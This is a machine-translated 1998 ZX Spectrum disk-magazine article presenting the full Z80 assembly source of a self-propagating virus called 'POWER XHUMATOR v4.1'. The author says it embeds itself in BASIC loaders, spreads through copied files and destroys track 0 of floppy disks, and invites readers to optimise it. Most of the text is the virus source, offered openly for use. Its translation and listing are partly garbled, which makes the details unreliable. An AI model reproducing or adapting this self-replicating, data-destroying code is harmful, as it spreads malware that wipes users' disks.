Impulse #03
09 декабря 1998 |
|
Kettle - How to make a real virus on the Spectrum.
FILLED KETTLE V. How to make a real virus on the Spectrum (From the unsolved mysteries of the processor Z-80) This on the Spectrum was not yet! People, offer you the source of global development - the virus named POWER XHUMATOR version 4.1. Originally This virus took # A3 bytes and wrote here so, from the bulldozer. But I liked the idea and I optimized code of the virus to # 8A bytes and even wrote installyashku. What is he doing? A He creates the most despicable - 0 fouls on track Your precious discs, and even more despicable, because that is what defiles XHUM 0 tracks still and on your scratch disk. XHUM built in BASIC-loaders of various prog, not exceeding # XX72 byte and waits hours. Moreover, the virus is capable of self-propagating and the files containing the virus inside, can be subjected to any violence, such as copying, compression, transportirovka6 mail, etc. Of course, not guaranteed efficiency of the virus with 100% of the files, but, excuse me, it's just vsetaki # 8A bytes. I will not go into the operating principle - Below is the source, and those who are interested, will be dismantled around themselves. And for roundnose guys I left roundnose comments that will help them understand the unknown. ;------------------------------; POWER XHUMATOR v4.1 ; Special Edition For ZX-NET ; Koded 'Optimized By ;! MPeR! 0/P0WER HaCkZ All! ANcE ; 0f PR0 HaCkZ DyNaZ7Y ;------------------------------ LEN EQU # 8A ORG # 8000 RST # 38; SP-2> SP, PC> (SP) , # 38> PC EXX; BC <> BC ', DE <> DE' ; HL <> HL ' DEC SP; SP-1> SP DEC SP; SP-1> SP POP AF; (SP)> AF, SP +2> SP EX AF, AF '; AF <> AF' LD HL, # C9F1; # C9F1> HL LD (# 5CC2), HL; HL> (# 5CC2) LD DE, # 0000 # 0000> DE LD BC, # 0905, # 0905> BC PUSH HL; SP-2> SP, HL> (SP) PUSH HL; SP-2> SP, HL> (SP) CALL # 3D13; SP-2> SP, PC> (SP) ; # 3D13> PC EX (SP), HL; (SP) <> HL FIND POP AF; (SP)> AF, SP +2> SP LD A, (HL); (HL)> A POP DE; (SP)> DE, SP +2> SP AND A; A AND A> A JR Z, EXIT; EXIT> PC if Z PUSH DE; SP-2> SP, DE> (SP) LD DE, # 0004 # 0004> DE ADD HL, DE; HL + DE> HL ADD HL, DE; HL + DE> HL LD A, (HL); (HL)> A INC HL; HL +1> HL LD C, (HL); (HL)> C PUSH HL; SP-2> SP, HL> (SP) INC HL; HL +1> HL LD B, (HL); (HL)> B ADD HL, DE; HL + DE> HL LD E, (HL); (HL)> E INC HL; HL +1> HL LD D, (HL); (HL)> D INC HL; HL +1> HL CP "B"; A-"B" JR NZ, FIND; FIND> PC if NZ LD A, C; C> A CP # FD-LEN; A-# FD + LEN JR NC, FIND; FIND> PC if NC POP HL; (SP)> HL, SP +2> SP ADD A, LEN; A + LEN> A LD (HL), A; A> (HL) LD HL, # DD3B; # DD3B> HL PUSH BC; SP-2> SP, BC> (SP) PUSH DE; SP-2> SP, DE> (SP) PUSH HL; SP-2> SP, HL> (SP) PUSH BC; SP-2> SP, BC> (SP) PUSH BC; SP-2> SP, BC> (SP) PUSH HL; SP-2> SP, HL> (SP) INC B; B +1> B LD C, # 05; # 05> C CALL # 3D13; SP-2> SP, PC> (SP) ; # 3D13> PC POP HL; (SP)> HL, SP +2> SP POP BC; (SP)> BC, SP +2> SP ADD HL, BC; HL + BC> HL PUSH HL; SP-2> SP, HL> (SP) PUSH HL; SP-2> SP, HL> (SP) EX DE, HL; DE <> HL LD HL, LEN; LEN> HL PUSH HL; SP-2> SP, HL> (SP) ADD HL, DE; HL + DE> HL EX DE, HL; DE <> HL LDIR; (HL)> (DE) < ; HL +1> HL, DE +1> DE ; BC-1> BC, BC> 0? POP BC; (SP)> BC, SP +2> SP POP DE; (SP)> DE, SP +2> SP EX AF, AF '; AF <> AF' PUSH AF; SP-2> SP, AF> (SP) POP HL; (SP)> HL, SP +2> SP DEC HL; HL-1> HL LDIR; (HL)> (DE) < ; HL +1> HL, DE +1> DE ; BC-1> BC, BC> 0? POP DE; (SP)> DE, SP +2> SP POP BC; (SP)> BC, SP +2> SP LD H, D; D> H LD L, E; E> L RES # 07, D; # 00> D (# 07) LD A, # 3D; # 3D> A CPDR;> A = (HL) ; HL +1> HL, BC-1> BC ; BC> 0? ADD A, (HL); (HL)> A < CP # 50; A-# 50 JR NZ, SAVE; SAVE> PC if NZ LD (HL), E; E> (HL) INC HL; HL +1> HL LD (HL), D; D> (HL) SAVE POP HL; (SP)> HL, SP +2> SP POP DE; (SP)> DE, SP +2> SP POP BC; (SP)> BC, SP +2> SP INC B; B +1> B LD C, # 06; # 06> C CALL # 3D13; SP-2> SP, PC> (SP) ; # 3D13> PC EXIT POP HL; (SP)> HL, SP +2> SP LD DE, # 0000 # 0000> DE LD BC, # 0906, # 0906> BC CALL # 3D13; SP-2> SP, PC> (SP) ; # 3D13> PC EXX; BC <> BC ', DE <> DE' ; HL <> HL ' JP # 3D13; # 3D13> PC Perhaps all this time. Try cut my code by at least 1 byte without loss of functionality XHUMa and if you get it, then I zvyaknite somehow.
Other articles:
Similar articles:
В этот день... 23 November